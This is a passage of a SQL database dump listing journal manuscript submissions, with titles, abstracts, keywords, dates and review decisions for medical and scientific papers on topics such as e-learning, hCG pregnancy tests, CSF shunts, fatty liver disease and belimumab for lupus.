Reduction',5413,NULL,'2023-05-12',NULL,'Submitted',2,NULL,'2023-05-20',NULL,1,1,'0','Accept',0,'','',NULL,0,0,0,NULL,0),(13763,13890,45,0,'iphsj-23-13763','The Effect and Perspective of Applied Medical Science College Students on E-learning in Umm Al-Qura University in 2021.',NULL,14,0,'','Background:\r\nCovid-19 the pandemic that struck the world in 2019 has affected every aspect of our lives, economy, education, and many more aspects changing the course of our lives. In light of that, the government has issued a closure of a lot of activities and the educational one affects the whole community, this study’s aim to look into how the shift from the traditional face-to-face method of teaching (E-learning), has affected students of the Faculty of medical science in Umm Al-Qura University.\r\nMethod: a cross-sectional study was the method of choice, a questionnaire made through google forms has been made and sent through WhatsApp to the leaders of every group in every specialty of the Faculty of applied medical science at Umm Al-Qura University.\r\nResults: over 259 students applied to the questionnaire, and 66 of them were excluded for being outside of the study sample group, for a total of 193 participants, and we concluded that the shift to E-Learning might have been challenging but it also had its pros and cons, be it an improvement in students lives such as more free time, less stress and anxiety or the disadvantages such as laziness because of the free time or the lack of understanding of educational material.\r\nConclusion: E-learning is very new to most people and medical students have accepted and adapted to it mostly very well, and while they faced challenges they also got the best out of it, as they preferred if it will be the future method used in education, this represents a significant and promising potential for the future of medical education','Covid-19, E-learning, Effect and perspective, Umm Al-Qura University, Applied medical science college',5388,NULL,'2023-05-16',NULL,'Submitted',2,NULL,'2023-05-27',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13764,13888,45,0,'iphsj-23-13764','Evaluation Report on the Accuracy of hCG Rapid Test Dipstick Verified by Multi-Center Clinical Comparison Experiment','',5,0,'','Background\r\nIn 1976, the first home pregnancy test was introduced, and since then, it has become the most commonly used diagnostic assay for home use. These tests use antibodies to detect human chorionic gonadotropin (hCG), which is an ideal marker of pregnancy. This is because hCG levels rise consistently and rapidly in early pregnancy and can be detected in urine. Currently, the most advanced home pregnancy test available measures the level of hCG in urine and claims to provide reliable results within just a few weeks of pregnancy[5].\r\n\r\nHuman chorionic gonadotropin (hCG) is a glycoprotein hormone produced by the developing placenta shortly after fertilization. In normal pregnancy, hCG can be detected in both urine and serum or plasma as early as 7 to 10 days after conception.[1][2][3][4] hCG levels continue to rise very rapidly, frequently exceeding 100 mIU/mL by the first missed menstrual period [2][3][4] and peaking in the 100,000-200,000 mIU/mL range about 10-12 weeks into pregnancy. The appearance of hCG in both the urine and serum or plasma soon after conception, and its subsequent rapid rise in concentration during early gestational growth, make it an excellent marker for the early detection of pregnancy.\r\n\r\nhCG Pregnancy Rapid Test Dipstick is a rapid test that qualitatively detects the presence of hCG in urine specimen at the sensitivity of 25 mIU/mL. The test utilizes a combination of monoclonal and polyclonal antibodies to selectively detect elevated levels of hCG in urine. At the level of claimed sensitivity, hCG Pregnancy Rapid Test Dipstick shows no cross-reactivity interference from the structurally related glycoprotein hormones hFSH, hLH and hTSH at high physiological levels.\r\n\r\nObjective\r\nThe main significance of this paper is to verify the accuracy, specificity, and sensitivity of the hCG Pregnancy Rapid Test Dipstick manufactured by ACRO Biotech, Inc. through comparative experiments, in order to explore the significance of high-precision hCG rapid detection products in early pregnancy testing.\r\n\r\nMethod\r\nThe hCG Pregnancy Rapid Test Dipstick is a fast and efficient way to detect human chorionic gonadotropin (hCG) in urine to aid in the detection of pregnancy. The test uses a combination of monoclonal hCG antibodies and goat polyclonal antibodies to selectively detect elevated levels of hCG in the urine specimen. The test is conducted by immersing the test dipstick in the urine specimen and observing the formation of colored lines. The presence of two colored lines, one in the test line region and one in the control line region, indicates a positive result, while the absence of the test line suggests a negative result. A colored line in the control line region always appears to confirm that the proper volume of specimen has been added and membrane wicking has occurred. This test is a rapid chromatographic immunoassay, which provides accurate results quickly and easily.\r\n\r\nResult\r\nThe hCG Pregnancy Rapid Test Dipstick is a highly accurate and sensitive product for detecting pregnancy. Its sensitivity is greater than 99.9% and its specificity is greater than 99.9%, with an accuracy of over 99.9%. \r\n\r\nConclusion\r\nThe hCG Pregnancy Rapid Test Dipstick manufactured by ACRO Biotech, Inc. is a rapid chromatographic immunoassay for the qualitative detection of human chorionic gonadotropin in urine to aid in the early detection of pregnancy.\r\n\r\nAccording to the results of a multi-center clinical comparative experiment, this product is user-friendly, provides rapid results, and readings can be obtained within 3 minutes of testing the sample. When compared to 608 samples, the product demonstrated a high accuracy rate of 99.9% and excellent specificity of 99.9%.\r\n\r\nFurthermore, this test dipstick is a reliable option for women who want to obtain accurate results and determine early in their pregnancy whether they are pregnant or not. With its high accuracy and convenience, this test kit can provide women with peace of mind and help them take the necessary steps to ensure a healthy pregnancy','hCG, rapid test, early pregnancy',4076,'','2023-05-11',NULL,'Submitted',2,0,'2023-05-24','',1,1,'1','Accept',0,'','',0,0,0,0,NULL,0);
INSERT INTO `manuscripts` VALUES (13765,13892,73,0,'ipjnn-23-13765','Should a VP or LP shunt be used for the treatment of pseudotumor cerebri in adults?',NULL,10,0,'',' \r\nIntroduction: Pseudotumor cerebri (PTC) is a condition characterized by false brain tumor symptoms, caused by high intracranial pressure (ICP). Treatment options include medication, weight loss, surgery, and shunting. Shunting, either ventriculoperitoneal (VP) or lumboperitoneal (LP), emerged as the preferred method of treatment, but there is an ongoing debate as to which technique should be prioritized. The aim of this study is to gather additional evidence to determine \r\nthe optimal type of shunt for treating PTC.\r\n\r\nMaterials and Methods: Ninety patients with PTC were studied at Damascus University between 2016 and 2021. The study monitored symptoms before and after treatment, with improvement related to the technique used (VP or LP shunts). Of all patients, 83 were women and 7 were men. In addition, complications were analyzed.\r\n\r\nResults: Both shunts showed similar postoperative rates of symptom improvement, but VP shunts were utilized more frequently overall in this study. Patients who received LP shunt surgery had a higher rate of postoperative complications compared to those who received VP shunt surgery, but the chi-squared analysis did not provide sufficient evidence to confirm a significant relationship between type of surgery and the occurrence of postoperative complications.\r\n\r\nConclusion: Despite ongoing controversy about the optimal treatment for benign intracranial hypertension (BTC), most authors approved the trend of using VP (ventriculoperitoneal) shunts, given a lower rate of complications. However, there is no statistically significant difference between outcomes of VP and LP (lumboperitoneal) shunting techniques, according to our research.\r\n','Pseudotumor cerebri (PTC), benign intracranial hypertension, ventriculoperitoneal (VP) shunt, lumboperitoneal (LP) shunt, cerebrospinal fluid (CSF). for benign intracranial hypertension (BTC),',4796,NULL,'2023-05-17',NULL,'Submitted',2,NULL,'2023-06-12',NULL,1,1,'0','   ',0,'','',NULL,0,0,0,NULL,0),(13766,13893,73,0,NULL,'Antiviral Therapy for Hepatitis C: Current Strategies and Future Directions',NULL,17,0,'','','',5427,NULL,'2023-05-17',NULL,'Submitted',4,NULL,'2023-05-17',NULL,1,0,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(13767,13894,45,0,'iphsj-23-13767','Detailed Information on Metabolic-Associated Fatty Liver Disease Involvement',NULL,14,0,'','Metabolic-Associated Fatty Liver Disease (MAFLD), formerly known as Non-Alcoholic Fatty Liver Disease (NAFLD), is a condition characterized by the accumulation of fat in the liver. It is strongly associated with metabolic syndrome, which includes obesity, insulin resistance, dyslipidaemia, and hypertension. MAFLD has emerged as the most common cause of chronic liver disease worldwide.\r\nThe relationship between MAFLD and diabetes is bidirectional and complex. Diabetes is a well-established risk factor for the development and progression of MAFLD. Insulin resistance, a hallmark of type 2 diabetes, plays a crucial role in the pathogenesis of MAFLD. When cells become resistant to the effects of insulin, the pancreas compensates by producing more insulin. This excess insulin promotes lipid accumulation in the liver, leading to the development of MAFLD.\r\nOn the other hand, MAFLD itself can contribute to the development of diabetes. The excessive accumulation of fat in the liver leads to the release of pro-inflammatory cytokines and adipokines, which can impair insulin signaling and promote systemic inflammation. This chronic low-grade inflammation contributes to the development of insulin resistance and ultimately increases the risk of developing type 2 diabetes.\r\nFurthermore, MAFLD is associated with other metabolic abnormalities that can contribute to the development of diabetes. These include dyslipidaemia, increased visceral fat deposition, and altered gut microbiota composition, all of which are implicated in the pathogenesis of insulin resistance and impaired glucose metabolism.\r\nThe presence of MAFLD in individuals with diabetes is also associated with worse glycemic control and an increased risk of diabetic complications. MAFLD can exacerbate insulin resistance, making it more challenging to manage blood sugar levels. It is also associated with a higher prevalence of cardiovascular disease, which is a common complication of both MAFLD and diabetes.\r\nGiven the bidirectional relationship between MAFLD and diabetes, the management of these conditions often involves addressing both simultaneously. Lifestyle modifications, including weight loss, regular physical activity, and a healthy diet, are cornerstones of therapy. Pharmacological interventions, such as medications for diabetes and non-alcoholic steatohepatitis (NASH), may also be considered depending on the severity of the conditions.\r\nKeywords: Medication; Diabetes; Abnormalities; Liver Disease','Keywords: Medication; Diabetes; Abnormalities; Liver Disease',643,NULL,'2023-05-17',NULL,'Submitted',2,NULL,'2023-05-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13768,13895,277,0,'ipadm-23-13768','Tecnica de doble guia para canulacion de la via biliar. ¿Es eficaz y segura?',NULL,14,0,'','Background: When cannulation fails with the traditional technique, there are alternatives of which the most used is the pre-cut and recently others have been introduced such as the double guide.\r\nObjective: To establish in a local scope, the safety and efficacy of biliary cannulation, with the technique of double guidance.\r\nMaterial and Methods: Between 01-05-2017 and 30-11-2017, 30 ERCP were performed at UDACE with double guide technique, when the insertion of the guide wire into the Wirsung duct was done involuntarily after the standard technique.  18 patients were female, the mean age was 55.4 + 19.6 years (range: 15-93 years). \r\nResults: Of the 30 patients submitted to ERCP with double guidance technique, the most frequent indications were choledocholithiasis 15 (50%) and bile duct tumor 7 (23.33%), 9 presented juxtapapillary duodenal diverticula, of these 7 (78.8%) could be cannulated with double guide technique and 2 (22.2%) frustrated.  The success of the double guide technique was 90%, there were 3 cases of frustrated cannulation with TDG, 3 (6.6%) patients presented post-ERCP pancreatitis. There were no other early complications.\r\nConclusion: The double guide technique is a safe and effective alternative for bile duct cannulation in cases where during the performance of ERCP with standard technique the guide wire involuntarily occupies the Wirsung duct, since it is associated with a high success rate and low risk of complications.','Technique, Double guide, Cannulation, Bile duct.',2805,NULL,'2023-05-18',NULL,'Submitted',2,NULL,'2023-06-13',NULL,1,1,'1','Accepted to publish the article.',0,'','',NULL,0,0,0,NULL,0),(13769,13896,971,0,'ipaclr-23-13769','Cold Whole Blood Transfusion in Civilian Trauma Patients Requiring Emergent Resuscitation: A Retrospective Cohort Study',NULL,14,1,'Innovation in clinical and laboratory research','','',5383,NULL,'2023-05-19',NULL,'Submitted',2,NULL,'2023-06-28',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13770,13897,45,0,'iphsj-23-13770','Utilising Genomic Precision Medicine and Implementation Science to Improve Health',NULL,5,0,'','Implementation science and genomic precision medicine are two fields that have the potential to transform healthcare and improve health outcomes. Implementation science focuses on bridging the gap between research and practice, ensuring that evidence-based interventions are effectively integrated into routine healthcare settings. Genomic precision medicine, on the other hand, utilizes genetic information to tailor healthcare decisions and treatments based on an individual\'s unique genetic makeup. This article explores the intersection of these two fields and discusses the methods for harnessing implementation science to facilitate the integration of genomic precision medicine into clinical practice.\r\nThe methods for harnessing implementation science and genomic precision medicine involve collaborative partnerships, conducting needs assessments, engaging stakeholders, providing education and training, developing clinical guidelines and pathways, optimizing health information technology infrastructure, implementing evaluation and monitoring mechanisms, addressing ethical and legal considerations, empowering patients, and promoting knowledge translation.\r\nBy leveraging implementation science principles, healthcare systems can overcome the challenges associated with the adoption and integration of genomic precision medicine. Collaborative partnerships and stakeholder engagement ensure that the perspectives and needs of all relevant parties are considered. Needs assessments help identify specific barriers and tailor implementation strategies accordingly. Education and training programs enhance the genomic literacy of healthcare professionals, while clinical guidelines and pathways provide clear recommendations for the use of genomic information in practice.\r\nOptimizing health information technology infrastructure allows for the effective integration and management of genomic data. Evaluation and monitoring mechanisms provide feedback on the impact and outcomes of implementation efforts, facilitating continuous improvement. Ethical and legal considerations ensure the responsible and equitable use of genomic information, while patient empowerment and education foster informed decision-making and engagement','Health; Genomic Precision; Psychology; Empowerment',4076,NULL,'2023-05-19',NULL,'Submitted',2,NULL,'2023-05-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13771,13895,277,0,'ipadm-23-13771','Colecistectomía precoz vs tardía después de una pancreatitis aguda biliar leve en pacientes sometidos a colangiopancreatografia retrograda endoscópica “cpre”',NULL,14,0,'','','',5022,NULL,'2023-05-20',NULL,'Submitted',2,NULL,'2023-06-13',NULL,1,1,'0','Accepted to publish the article.',0,NULL,NULL,NULL,0,0,0,NULL,0),(13773,13899,91,0,'ijddr-23-13773','Formulation and Evaluation of Microsponges Loaded Topical Gel for Treatment of Acne Vulgaris',NULL,14,0,'ACNE VUGARIS TREATMENT MICROSPONGES GEL','The purpose of present study aims to design novel drug delivery system containing adapalene microsponges and to prepare microsponge gel. Adapalene is an anti-acne drug used in the treatment of acne infection having a poor aqueous solubility, side effects and adverse reactions. The microsponge delivery system is unique technology for controlled / sustained release of active agents. The microsponges were prepared by quasi-emulsion solvent diffusion method by using polymer Eudragit S-100 and Eudragit RS -100. All the formulated microsponges were subjected for various evaluation parameters such as production yield, encapsulation efficiency, particle size analysis and in vitro drug release study. The optimized microsponge formulation F4 and F8 were further formulated as gel formulation for topical delivery. Prepared gel was evaluated for physical parameters like pH, spreadability, viscosity, drug content and in vitro diffusion study and compared with the other formulation. The Differential scanning calorimetry (DSC), XRD, Zeta potential and Particle size of drug and excipient confirm compatibility. \r\nResults revealed that quasi-emulsion solvent diffusion method is a suitable technique for the preparation of microsponges as most of the formulations were discrete and spherical in shape with a good production yield of 51.88 % to 89.41% and the highest drug release for MGF4 and MGF8 formulation was found to be 87.77 % and 83.24 % respectively for the 8 h.  The drug release of microsponges gel is 91.31% .The drug release data of optimized batch MGI (F4) were fitted into different kinetic models and showed that the drug release from gel formulation follows zero order release.  As compared to conventional formulation, the prepared microsponge gel are expected to remain on the skin for a longer time, gradually releasing their contents over the time. Hence, adapalene microsponges and microsponge gel prepared in this study are promising as being more useful than conventional formulation therapy. \r\n','Adapalene, Microsponge, Anti acne drug, Microsponge gel, Topical delivery',1325,NULL,'2023-05-21',NULL,'Submitted',2,NULL,'2023-06-12',NULL,1,1,'0','ACCEPTED',0,'','',NULL,0,0,0,NULL,0),(13774,13881,959,0,'ipacr-23-13774','Assessment of Neoantigen-Related Somatic Mutations in Non-Small Cell Lung Cancer',NULL,14,0,'Assessment of Neoantigen-Related Somatic Mutations in Non-Small Cell Lung Cancer','Aim: Recently, immune checkpoint inhibitors (ICIs) have become a significant treatment choice for people with advanced non-small cell lung cancer (NSCLC). Neo-antigens are significant biomarkers and possible therapeutic targets that are crucial for the diagnosis and care of NSCLC patients. In materials from patients who had surgical therapy for NSCLC, this study sought to assess and define the connections between somatic mutations and possible neoantigens. Patients and Methods: This prospective study examined tissue samples from NSCLC patients who received surgery for their condition. Both tumour tissues and matched normal tissues underwent whole-exome sequencing. Using generative software, candidate neoantigens were predicted, and the associations between different mutational features and the quantity of neoantigens were assessed. Results: Gene mutations connected to neoantigens occurred less frequently than mutations impacting the entire genome. High neoantigen burden genes exhibited a greater variety and frequency of mutations. Missense mutations, code shift insertions/deletions, split-site variants, and nonsense mutations all had a favourable correlation with the quantity of candidate neoantigens. However, only missense mutations showed a positive correlation with the quantity of neoantigens in the analysis of multiple linear regression. Additionally, the quantity of neoantigens was inversely connected with base transitions (A>G/G>A and C>T/T>C) and positively correlated with base transversions (A>C/C>A, T>G/G>T, and C>G/G>C). Conclusion: The frequency, kind, and base substitution type of mutations were all linked to the quantity of potential neoantigens found in NSCLC cases.','Non-small cell lung cancer, Whole exome sequencing, Neoantigens, Tumor neoantigen burden, Genetic mutation characteristics.',5442,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-01',NULL,1,1,'0','Accepted, it is well written article.',0,NULL,NULL,NULL,0,0,0,NULL,0),(13776,13900,73,0,'ipjnn-23-13776','Does Pedophile Obsessive-Compulsive Disorder (POCD) Promote Neuroinflammatory Pathways while Alleviating Neurogenesis?',NULL,17,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',357,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-09',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13777,13898,251,0,'ipacm-23-13777','Reovirus: Lifecycle, Pathophysiology, and Prospective Therapeutic Uses',NULL,15,2,'','Reovirus is a double-stranded, non-enveloped RNA virus that is a member of the Reoviridae family. It is well known for its broad host range, which encompasses both people and other animal species. It is also often discovered in the environment. Despite generally being rather innocuous, certain reovirus strains have been linked to serious illnesses in both people and animals. This article gives a thorough introduction to reovirus, emphasizing its composition, replication process, pathophysiology, clinical relevance, and prospective therapeutic uses. A segmented genome encoding twelve proteins and two concentric protein shells make up the distinctive capsid structure of the reovirus. Its replication cycle includes viral particle uncoating, host cell receptor attachment, internalization by endocytosis, genome transcription, and translation in the cytoplasm. Reovirus has a strong capacity to control cellular functions, including the activation of stress response pathways and manipulation of apoptosis, allowing for effective reproduction and spread inside the host. Reovirus usually causes moderate respiratory or gastrointestinal symptoms in people, particularly in youngsters. However, recent research points to a possible connection between reovirus and more serious conditions including encephalitis, myocarditis, and possibly certain forms of cancer. Further study is needed to completely understand the viral and host components contributing to the pathogenesis of reovirus-induced illnesses since the underlying processes are not yet fully understood. Reovirus has, intriguingly, shown potential as a therapeutic agent in the area of oncolytic virotherapy. Clinical studies investigating the effectiveness of reovirus-based therapies, either as monotherapy or in conjunction with other modalities, have shown encouraging results in a variety of cancer types, indicating its potential as an important therapeutic tool. In conclusion, reovirus is an adaptable viral pathogen that interacts intricately with its host. To further our understanding of viral pathogenesis, create targeted therapies, and take use of reovirus\'s special properties for therapeutic applications, it is essential to comprehend the molecular and cellular interactions that drive reovirus infections. To fully understand this fascinating virus\'s capabilities and the ramifications for both human and animal health, further study is necessary.','Reovirus, Replication process, Viral therapies, Anticancer, Oncolytic viruses',3944,NULL,'2023-05-22',NULL,'Submitted',12,NULL,'2023-10-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13778,13901,971,0,'ipaclr-23-13778','Harnessing the potential of clinical pathology: pioneering precision medicine and personalized treatment',NULL,13,0,'','Clinical pathology, a specialized branch of laboratory medicine, plays a pivotal role in revolutionizing healthcare through its potential to advance precision medicine and personalized treatment approaches. By integrating laboratory testing, molecular diagnostics, and data analysis, clinical pathology provides critical insights into disease mechanisms, aids in accurate diagnosis, predicts treatment response, and guides therapeutic decision-making. This article explores the tremendous potential of clinical pathology in harnessing precision medicine and personalized treatment strategies, ushering in a new era of patient-centered care.','Clinical pathology, Laboratory medicine, Laboratory testing, Molecular diagnostics, Treatment.',5381,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13779,13902,971,0,'ipaclr-23-13779','The role of hematology in diagnosing blood disorders.',NULL,11,0,'','Hematology plays a crucial role in the diagnosis of blood disorders, utilizing a range of diagnostic techniques to accurately identify and classify various conditions affecting the blood and its components. This article provides an overview of the importance of hematology in diagnosing blood disorders and highlights the various diagnostic tools and techniques employed in the field. Accurate diagnosis is essential for initiating appropriate treatment strategies, monitoring disease progression, and improving patient outcomes. The multidisciplinary nature of hematology, its collaboration with other medical specialties, and ongoing research advancements contribute to advancements in the field and personalized approaches to patient care.','Hematology, blood disorders, diagnosis, complete blood count, blood smear examination, coagulation tests, bone marrow aspiration.',5383,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13780,13903,971,0,'ipaclr-23-13780','A revolutionary approach to drug development and treatment based on pharmacogenomics',NULL,17,0,'','Pharmacogenomics, the study of how an individual\'s genetic makeup influences drug response, has revolutionized drug development and treatment approaches. This article explores the profound impact of pharmacogenomics on personalized medicine, highlighting its role in optimizing drug efficacy, minimizing adverse reactions, and guiding treatment decisions based on an individual\'s genetic profile. By understanding the genetic variations that affect drug metabolism, transport, and targets, researchers and clinicians can tailor drug therapies, improve patient outcomes, and pave the way for precision medicine.','Pharmacogenomics, drug development, personalized medicine, genetic variations, drug response.',3249,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13781,13904,971,0,'ipaclr-23-13781','The quality assurance processes in pharmaceutical analysis that ensuring safe and effective medication.',NULL,3,0,'','Quality assurance is a critical component of pharmaceutical analysis, ensuring the safety, efficacy, and reliability of medications. This article highlights the significance of quality assurance in pharmaceutical analysis and its role in maintaining high standards throughout the drug development and manufacturing process. From method validation to equipment calibration and adherence to regulatory guidelines, quality assurance measures play a vital role in guaranteeing the integrity and effectiveness of pharmaceutical products.','Quality assurance, pharmaceutical analysis, drug safety, method validation, equipment calibration.',3249,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13782,13905,971,0,'ipaclr-23-13782','The impact of drug metabolism on drug design and optimization of prodrugs to metabolite targeting',NULL,12,0,'','Drug metabolism plays a significant role in drug design and optimization, shaping the pharmacokinetic and pharmacodynamics properties of pharmaceutical compounds. Understanding the metabolic fate of drugs in the body is crucial for enhancing their efficacy, improving safety profiles, and maximizing therapeutic outcomes. This article explores the profound impact of drug metabolism on drug design and optimization, highlighting the utilization of prodrugs and metabolite targeting strategies to enhance drug performance.','Drug metabolism, Pharmacokinetic, Pharmacodynamics, Biotransformation, Drug solubility, Stability, Bioavailability.',5381,NULL,'2023-05-22',NULL,'Submitted',2,NULL,'2023-06-15',NULL,1,1,'1','accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13783,13906,45,0,'iphsj-23-13783','Public and Population Health Informatics: Revolutionizing Healthcare for the Masses',NULL,1,0,'','Public and population health informatics is a rapidly evolving field that utilizes information science and technology to enhance public health outcomes on a broader scale. This abstract provides a concise overview of the fundamental concepts, applications, and benefits of public and population health informatics.\r\nPublic health informatics focuses on the collection, analysis, and utilization of health-related data to improve health outcomes at the population level. It enables early detection and response to disease outbreaks through effective surveillance and monitoring. By leveraging various data sources such as electronic health records, social media, and wearable devices, public health officials can identify trends, track disease patterns, and implement targeted interventions.\r\nPopulation health informatics deals with managing and analyzing health data for large groups of individuals. It plays a crucial role in public health planning and policy-making by providing insights for resource allocation, identifying health disparities, and designing effective interventions. The adoption of electronic health records has facilitated the exchange of patient information, streamlined care coordination, and enabled population-level data analysis.\r\nThe benefits of public and population health informatics are substantial. Timely analysis of health data enables early detection of outbreaks, leading to prompt response measures. By understanding the health needs of specific populations, informatics helps allocate resources efficiently and reduce health disparities. Evidence-based decision-making is promoted through the availability of accurate, real-time data, leading to informed policy decisions and interventions. Informatics tools also enable comprehensive surveillance and monitoring of population health, allowing for the identification of risk factors and the implementation of preventive measures','Interventions; Health; Electronic Health; Evidence',4076,NULL,'2023-05-25',NULL,'Submitted',2,NULL,'2023-05-29',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13784,13907,975,0,NULL,'Investigation of the Effect of Light PWM Frequency on the Object in terms of Human Visual Comfort',NULL,14,0,'','Light emitting diodes (LEDs) play an essential role in lighting and green earth activities because of their high efficiency, longevity, and reduction of carbon dioxide emissions in illumination. However, the brightness level of LED light sources must be adjusted appropriately for backlight source or illumination, so pulse amplitude modulation (PWM) is a commonly used method of LED control. This paper experimentally investigated the human visual comfort effect of the light effect obtained using different PWM frequencies on an object in a sensor-based intelligent lighting system. The histograms of the object were created according to the light frequency, and the results were discussed.\r\n\r\n','LED, Pulse width modulation (PWM), color image, histogram specification, flicker effect, the Kruithof curve\r\n\r\n',5410,NULL,'2023-05-25',NULL,'Submitted',4,NULL,'2023-05-25',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13785,13908,45,0,'iphsj-23-13785','Mitochondrial Activity in Immune Cells: An Essential Component of Health',NULL,15,0,'','Mitochondria, the powerhouses of the cell, play a critical role in maintaining immune cell health and promoting optimal immune responses. Beyond their primary function of energy production, mitochondria contribute to a range of vital cellular processes in immune cells, including calcium signaling, reactive oxygen species (ROS) generation, metabolic reprogramming, and cell fate decisions. Proper mitochondrial function is essential for immune cell activation, differentiation, proliferation, and effector functions. Dysregulation or impairment of mitochondrial function in immune cells has been associated with immune-related disorders such as autoimmune diseases, chronic inflammation, and immunodeficiency syndromes. This article provides an overview of the multifaceted roles of mitochondria in immune cells and emphasizes their significance in preserving immune health. Understanding the interplay between mitochondria and immune cells holds promise for developing novel therapeutic strategies to modulate immune responses and combat immune-mediated diseases.','immunodeficiency syndromes; immunodeficiency syndromes; mitochondria; molecules',686,NULL,'2023-05-25',NULL,'Submitted',2,NULL,'2023-05-30',NULL,1,1,'0','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13786,13909,73,0,'ipjnn-23-13786','Causes of Obstructive Sleep Apnea and Associated Comorbidities Involved in Cognitive Impairment of Patients',NULL,3,1,'Novel Drug Targets for the Treatment of Neurodegenerative Disorders','','',357,NULL,'2023-05-27',NULL,'Submitted',2,NULL,'2023-06-21',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(13787,13906,45,0,'iphsj-23-13787','Physical Activity Gender-Sex Differences: A Decoding Approach',NULL,3,0,'','The gender-sex differentiation of physical activity refers to the variations in participation, preferences, and performance in physical activities based on societal expectations, physiological differences, and individual choices related to gender and sex. This differentiation is influenced by cultural norms, stereotypes, and gender roles that assign specific activities to men and women. Physiological differences, such as muscle mass, lung capacity, hormone levels, and body composition, also play a role in shaping physical activity patterns. Additionally, gender-specific health considerations guide recommendations for physical activity, with men focusing on cardiovascular health and women prioritizing bone density. Efforts to challenge stereotypes and promote inclusivity are important in breaking down gender barriers and creating equal opportunities for individuals in sports and physical activities. Understanding and addressing the gender-sex differentiation of physical activity can lead to more inclusive and tailored approaches to promote well-being and engage individuals of all genders in a variety of physical activities.','Physical Activities; Cultural Norms; Gender-Sex; Diseases',4076,NULL,'2023-05-27',NULL,'Submitted',2,NULL,'2023-05-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13788,0,996,0,NULL,'The role of Belimumab for treatment of active auto-antibody positive Systemic Lupus Erythematosus (SLE)',NULL,15,0,'','Systemic Lupus Erythematosus is a complex chronic autoimmune rheumatic disease. The management of SLE poses many challenges, particularly in patients with severe active autoantibody positive disease, in whom current standard of care (SoC) therapies have had limited success. Subsequently, there is a recognised clinical need for increased availability of effective novel therapeutic agents to manage this patient population. Belimumab is a fully human IgG1λ recombinant monoclonal antibody, and along with anifrolumab is the only biologic agent to be TGA approved for use as ‘add-on’ therapy in patients with active autoantibody positive SLE. There is a large body of evidence to support the clinical efficacy of belimumab in SLE, including evidence supporting its steroid-sparing effects, as well as ability to considerably reduce overall disease activity, delay disease progression, reduce the incidence and severity of disease flares and improve health related quality of life (HRQoL). Despite this, currently belimumab is not PBS approved for use in Australia. The Pharmaceutical Benefits Advisory Committee (PBAC) consensus has determined that current evidence for use of belimumab in this patient population indicates only a modest clinical benefit in comparison to SoC therapies, and that its cost effectiveness has not yet been proven. These are areas requiring ongoing research. Notably while initial upfront costs of Belimumab use in SLE may be high, there is the potential for long-term cost avoidance associated with decreased organ damage accrual. This review article describes the current available evidence for the clinical efficacy and cost effectiveness of belimumab as ‘add-on’ therapy for treatment of severe active autoantibody positive SLE. ','Systemic Lupus Erythematosus\r\nBelimumab \r\nMonoclonal antibody \r\nCost effectiveness \r\nClinical efficacy',3649,NULL,'2023-05-29',NULL,'Submitted',4,NULL,'2023-05-31',NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(13789,13910,45,0,'iphsj-23-13789','Health Results and Tuberculosis Drugs in Nations with National Essential Medicines List',NULL,25,0,'','Tuberculosis (TB) is a major global health issue, requiring access to effective and affordable medicines for successful treatment. The presence of a National Essential Medicines List (NEML) plays a crucial role in ensuring access to TB medicines and improving health outcomes. This article examines the impact of NEMLs on TB medicines and health outcomes in countries. NEMLs enhance access to TB medicines, promote quality assurance and standardization, improve affordability, and positively influence health outcomes related to TB. The inclusion of essential TB medicines on NEMLs facilitates equitable access, reduces treatment costs, and contributes to better patient outcomes, including increased treatment success rates and reduced mortality. NEMLs are essential in the global fight against tuberculosis and should be prioritized by governments and healthcare authorities to achieve improved health outcomes and control the spread of TB','Health Issue; Improve Affordability; Medicine; TB',651,NULL,'2023-05-30',NULL,'Submitted',2,NULL,'2023-05-31',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(13790,13911,996,0,'ipar-23-13790','The role of Belimumab for treatment of active auto-antibody positive, Systemic Lupus Erythematosus (SLE)',NULL,15,3,'','Systemic Lupus Erythematosus is a complex chronic autoimmune rheumatic disease. The management of SLE poses many challenges, particularly in patients with severe active autoantibody positive disease, in whom current standard of care (SoC) therapies have had limited success. Subsequently, there is a recognised clinical need for increased availability of effective novel therapeutic agents to manage this patient population. Belimumab is a fully human IgG1? recombinant monoclonal antibody, and along with anifrolumab is the only biologic agent to be TGA approved for use as ‘add-on’ therapy in patients with active autoantibody positive SLE. There is a large body of evidence to support the clinical efficacy of belimumab in SLE, including evidence supporting its steroid-sparing effects, as well as ability to considerably reduce overall disease activity, delay disease progression, reduce the incidence and severity of disease flares and improve health related quality of life (HRQoL). Despite this, currently belimumab is not PBS approved for use in Australia. The Pharmaceutical Benefits Advisory Committee (PBAC) consensus has determined that current evidence for use of belimumab in this patient population indicates only a modest clinical benefit in comparison to SoC therapies, and that its cost effectiveness has not yet been proven. These are areas requiring ongoing research. Notably while initial upfront costs of Belimumab use in SLE may be high, there is the potential for long-term cost 